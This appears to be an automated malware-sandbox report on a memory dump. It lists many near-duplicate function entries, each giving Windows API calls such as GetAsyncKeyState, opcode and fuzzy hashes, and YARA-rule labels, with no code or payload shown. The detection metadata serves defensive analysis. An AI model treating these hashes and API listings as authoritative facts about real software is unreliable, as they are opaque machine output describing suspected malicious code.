Opcode Fuzzy Hash: 12807f4ec616aee65e13f9e391e0339a8f524a7470621a5574f583a7e7cc7b46
Instruction Fuzzy Hash: 78520674A00228CFCB65AF30D85869DBBB6BF48205F5085EAD509A3744CF359EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420CA7, Relevance: 21.6, APIs: 14, Instructions: 581keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 01420D10
GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDispatcherDisplayExceptionUnregisterUser$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkWindow
String ID:
API String ID: 656976033-0
Opcode ID: 3f49ade2375840dad7222254fd1f08e82f04cfb0e2da0ba582a23991e14911c1
Instruction ID: bd4483c0266331a6e0e8ed14de0b424553ed6cdb3950359a847c154a02796e68
Opcode Fuzzy Hash: 3f49ade2375840dad7222254fd1f08e82f04cfb0e2da0ba582a23991e14911c1
Instruction Fuzzy Hash: 90421674A00228CFCB65AF20D85869DBBB6BF48205F5085EAD509A3744CF359EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420CEC, Relevance: 21.6, APIs: 14, Instructions: 574keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 01420D10
GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDispatcherDisplayExceptionUnregisterUser$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkWindow
String ID:
API String ID: 656976033-0
Opcode ID: 322d93923fc5754f9f7c6b17e0360c003597ca30fc9aaf011d9b6afb60a56ac0
Instruction ID: b9e84db8c0c40b4e4f232fbc549324279476d603031faf9ca8a4d80439a71a55
Opcode Fuzzy Hash: 322d93923fc5754f9f7c6b17e0360c003597ca30fc9aaf011d9b6afb60a56ac0
Instruction Fuzzy Hash: 8B420674A00228CFCB65AF30D85869DBBB6BF48205F5085EAD50AA3744CF359EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420D47, Relevance: 20.1, APIs: 13, Instructions: 563keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyDispatcherEnumExceptionInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUserWindow
String ID:
API String ID: 1565245717-0
Opcode ID: 8be7503c871a4921aa817b0ee8ac30cc4d094d5626046fb351bfa10252555c46
Instruction ID: 0f9ce46440bb469f573bf230f8872392bc09c98f759adbd2b054a3187962a3d1
Opcode Fuzzy Hash: 8be7503c871a4921aa817b0ee8ac30cc4d094d5626046fb351bfa10252555c46
Instruction Fuzzy Hash: B0420674A00228CFCB65AF30D85869DBBB6BF48205F5085EAD50AA3744CF359EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420D8C, Relevance: 20.1, APIs: 13, Instructions: 556keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyDispatcherEnumExceptionInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUserWindow
String ID:
API String ID: 1565245717-0
Opcode ID: 914ae8a1fa1d3b3784f20accde6a4ee40ae110d62a750a9ffcdca11486369a88
Instruction ID: f91bdbed43afffe0a4ae3a52a0f58550f2fa62d7808d23325ed4fc7a0d3da326
Opcode Fuzzy Hash: 914ae8a1fa1d3b3784f20accde6a4ee40ae110d62a750a9ffcdca11486369a88
Instruction Fuzzy Hash: 85420574A00228CFCB65AF30D85869DBBB6BF48205F5085EAD50AA3744CF359EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420DD1, Relevance: 20.0, APIs: 13, Instructions: 549keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyDispatcherEnumExceptionInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUserWindow
String ID:
API String ID: 1565245717-0
Opcode ID: 05e853b26fd3ef803eee9a4a7d694d0aa0d1b923fdb28651e5954339cf29a746
Instruction ID: f3940343362cbe41a03d7ba99e0649b301a8289823929c45d618ebe1dc5a873d
Opcode Fuzzy Hash: 05e853b26fd3ef803eee9a4a7d694d0aa0d1b923fdb28651e5954339cf29a746
Instruction Fuzzy Hash: A2420674A00228CFCB65AF30D85869DBBB6BF48205F5085EAD50AA3744CF359EC6CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01420E16, Relevance: 20.0, APIs: 13, Instructions: 542keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyDispatcherEnumExceptionInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUserWindow
String ID:
API String ID: 1565245717-0
Opcode ID: 365575444fea79d4b560aa9423b0997d491ea621e88a2e769681a4a2bd250164
Instruction ID: 53b9ec07a31c4fb7855c9636ba5f4df7f99aff5e365eb190a0d2c0c104c262e7
Opcode Fuzzy Hash: 365575444fea79d4b560aa9423b0997d491ea621e88a2e769681a4a2bd250164
Instruction Fuzzy Hash: A1421574A00228CFCB65AF30D85869DBBB6BF48205F5085EAD50AA3744CF359EC6CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01420E5B, Relevance: 20.0, APIs: 13, Instructions: 533keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyDispatcherEnumExceptionInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUserWindow
String ID:
API String ID: 1565245717-0
Opcode ID: 4d69fd423a0cdc34ded9246ba20be76eb016df67419d8ecd19c0742e24edd223
Instruction ID: aa40372544f99e0464ae90a0832713963cc6bc44f38a70b91127dfa69408c48a
Opcode Fuzzy Hash: 4d69fd423a0cdc34ded9246ba20be76eb016df67419d8ecd19c0742e24edd223
Instruction Fuzzy Hash: A3320574A00228CFCB65AF30D85869DBBB6BF48205F5085EAD50AA3744DF359EC6CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01420E97, Relevance: 20.0, APIs: 13, Instructions: 526keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyDispatcherEnumExceptionInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUserWindow
String ID:
API String ID: 1565245717-0
Opcode ID: c32871e3c3d75af14a1344dd2886fbd80519a4507eb50ec1d4995919630d5350
Instruction ID: 844f069bcf914896b068f4f9be88d371c6fdbb0d2f6bc8a6e3894fe9926c255b
Opcode Fuzzy Hash: c32871e3c3d75af14a1344dd2886fbd80519a4507eb50ec1d4995919630d5350
Instruction Fuzzy Hash: 63320574A00228CFCB64AF70D85879DBBB6BF48205F5085EAD50AA3744DF359E86CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01420ED3, Relevance: 20.0, APIs: 13, Instructions: 521keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyDispatcherEnumExceptionInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUserWindow
String ID:
API String ID: 1565245717-0
Opcode ID: 7adf8507ad3d77c52cc8dd5ed06551ec5ef6e1ac5a1a27fa3962e198363cd159
Instruction ID: e06b26e647895539b7232698150b855050041502178122ea6b70776d8e1d208a
Opcode Fuzzy Hash: 7adf8507ad3d77c52cc8dd5ed06551ec5ef6e1ac5a1a27fa3962e198363cd159
Instruction Fuzzy Hash: D4320674A00228CFCB64AF70D85879DBBB6BF48205F5085EAD50AA3740DF359E86CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01420F18, Relevance: 20.0, APIs: 13, Instructions: 514keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyDispatcherEnumExceptionInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUserWindow
String ID:
API String ID: 1565245717-0
Opcode ID: 2290cc2dbaf5d0f0d7a747f3c668e3ca1a5778f949a3acae532162638f2d9a3a
Instruction ID: 9ccfd1595ee0ef172eb2b38e3ccfc71c6cc8a9537d3f15c8ab34a30c46410460
Opcode Fuzzy Hash: 2290cc2dbaf5d0f0d7a747f3c668e3ca1a5778f949a3acae532162638f2d9a3a
Instruction Fuzzy Hash: 13320574A00228CFCB64AF30D85879DBBB6BF48205F5085EAD50AA3740DF359E86CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01420F5D, Relevance: 20.0, APIs: 13, Instructions: 507keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyDispatcherEnumExceptionInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUserWindow
String ID:
API String ID: 1565245717-0
Opcode ID: 1d34fd3b7494e83f87b4dccc034f71666c0d207020d0ce420e6bf1a8949d8e94
Instruction ID: 6c51d482b1b4e8f783d2217fed6fcb7782cb0665243167359273936b76081ffd
Opcode Fuzzy Hash: 1d34fd3b7494e83f87b4dccc034f71666c0d207020d0ce420e6bf1a8949d8e94
Instruction Fuzzy Hash: B0320674A00228CFCB64AF34D85879DBBB6BF48205F5085EAD50AA3744DF359E86CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01420FA2, Relevance: 18.5, APIs: 12, Instructions: 500keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyDispatcherEnumExceptionInitializeLoadMenuQueryReasonsSettingsStateThunkUserWindow
String ID:
API String ID: 1844462746-0
Opcode ID: 833bd204c3c9504b52f3c762163f69e0516fd582ae7ed4753495701801296d60
Instruction ID: f1b19397cc068ebf30215d1112600ed8f2364c38d76af0d0718bf5015d4119db
Opcode Fuzzy Hash: 833bd204c3c9504b52f3c762163f69e0516fd582ae7ed4753495701801296d60
Instruction Fuzzy Hash: 693206B4A00228CFCB64AF34D85879DBBB6BF48205F5085EAD50AA3744DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01420FE7, Relevance: 17.0, APIs: 11, Instructions: 493keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuQueryReasonsSettingsStateThunkWindow
String ID:
API String ID: 1599033302-0
Opcode ID: d85153001e0642fc4e07012f7b85099e214fb2474442ec77bc061626f34649aa
Instruction ID: 529e7f2c809a57e390cbfd6ff8897b4acb4472e9cea1e705a4a7543df0561ab1
Opcode Fuzzy Hash: d85153001e0642fc4e07012f7b85099e214fb2474442ec77bc061626f34649aa
Instruction Fuzzy Hash: 0D32F6B4A002288FCB64AF34D85879DBBB6BF48205F5085EAD50AA3744DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0142102C, Relevance: 17.0, APIs: 11, Instructions: 486keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuQueryReasonsSettingsStateThunkWindow
String ID:
API String ID: 1599033302-0
Opcode ID: 6d0d6689832e17c9bd8d33bec44c9151d9db87098dd14d50ad9f74ec9cbc96f4
Instruction ID: d48bbf028d5e88c0c4f9e34aab6c99022b15714fed3af680ed526d7a744024e8
Opcode Fuzzy Hash: 6d0d6689832e17c9bd8d33bec44c9151d9db87098dd14d50ad9f74ec9cbc96f4
Instruction Fuzzy Hash: 15220674A002288FCB64EF34D85879DBBB6BF48205F5085EAD50AA3744DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01421071, Relevance: 17.0, APIs: 11, Instructions: 477keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuQueryReasonsSettingsStateThunkWindow
String ID:
API String ID: 1599033302-0
Opcode ID: 8d857ad9956ae3380ceb90b477ad47c949441b4d7eafdd953e4970551d4183d1
Instruction ID: cf24f3868cfe2ffeca262964d042b8fef018ed2d61e09808d8f92d7e338504d9
Opcode Fuzzy Hash: 8d857ad9956ae3380ceb90b477ad47c949441b4d7eafdd953e4970551d4183d1
Instruction Fuzzy Hash: C4220774A002288FCB64EF34D85879DBBB6BF48205F5085EAD50AA3744DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 014210AD, Relevance: 17.0, APIs: 11, Instructions: 470keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuQueryReasonsSettingsStateThunkWindow
String ID:
API String ID: 1599033302-0
Opcode ID: 97e92c37cffcf9cf6752a390874d32cc2d4509fc5fcc95d6c907c91dc9e83b34
Instruction ID: fc9a6b2d5ae4d61beba2267fc1235b3be2f16e8e503e71a6c0d9b26b65b1a399
Opcode Fuzzy Hash: 97e92c37cffcf9cf6752a390874d32cc2d4509fc5fcc95d6c907c91dc9e83b34
Instruction Fuzzy Hash: 5D2207B4A002288FCB64EF34D85879DBBB6BF48205F5085EAD50AA3744DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 014210E9, Relevance: 17.0, APIs: 11, Instructions: 465keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuQueryReasonsSettingsStateThunkWindow
String ID:
API String ID: 1599033302-0
Opcode ID: 3eb19d8dd14301f6064804e55f5e603b61772ab73bdb960a0ecd88632219b19e
Instruction ID: e3480009967e1e75714f8961e1d8db72498231b8d98f2afe11373be1bf69645c
Opcode Fuzzy Hash: 3eb19d8dd14301f6064804e55f5e603b61772ab73bdb960a0ecd88632219b19e
Instruction Fuzzy Hash: BC2217B4A002288FCB64EF34D85879DBBB6BF48205F5085EAD50AA3744DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0142112E, Relevance: 15.5, APIs: 10, Instructions: 458keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$AsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuQueryReasonsSettingsStateThunk
String ID:
API String ID: 139032998-0
Opcode ID: 7d8669d30f7ba6595bddae06ed2f9f800344b682ac029c2ce5c81189212664eb
Instruction ID: f048bf221c249b2d5d235c03ed1355dd3027f007ed3c35952259db465ee494c8
Opcode Fuzzy Hash: 7d8669d30f7ba6595bddae06ed2f9f800344b682ac029c2ce5c81189212664eb
Instruction Fuzzy Hash: 0C2217B4A002288FCB64EF34D85879DBBB6BF48205F5085EAD509A3344DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01421173, Relevance: 15.5, APIs: 10, Instructions: 451keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$AsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuQueryReasonsSettingsStateThunk
String ID:
API String ID: 139032998-0
Opcode ID: ca72c465afcdcab4e0c732cfe0312c679c8d7e167591e85dca0c3305b18ff55f
Instruction ID: f5454d070fa0893a199f0c5f68c7ece193511adaae8be1b78328dc8add5067ff
Opcode Fuzzy Hash: ca72c465afcdcab4e0c732cfe0312c679c8d7e167591e85dca0c3305b18ff55f
Instruction Fuzzy Hash: DB1228B4A002298FCB64EF34D85879DBBB6BF88205F5085EAD509A3344DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 014211B8, Relevance: 13.9, APIs: 9, Instructions: 444librarywindowCOMMON

Download Yara Rule

APIs

UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ColorConfigConsoleControlDestroyEnumInitializeLoadMenuQueryReasonsSettingsThunk
String ID:
API String ID: 2766318346-0
Opcode ID: 2d9c9c2dd34d7303c49e61012225781411266d99a34f89720a3154f4052158b6
Instruction ID: 72f1490bc660d24c9b7ecca5200d97b4bfe7ff05be60833ed13882289f71ef65
Opcode Fuzzy Hash: 2d9c9c2dd34d7303c49e61012225781411266d99a34f89720a3154f4052158b6
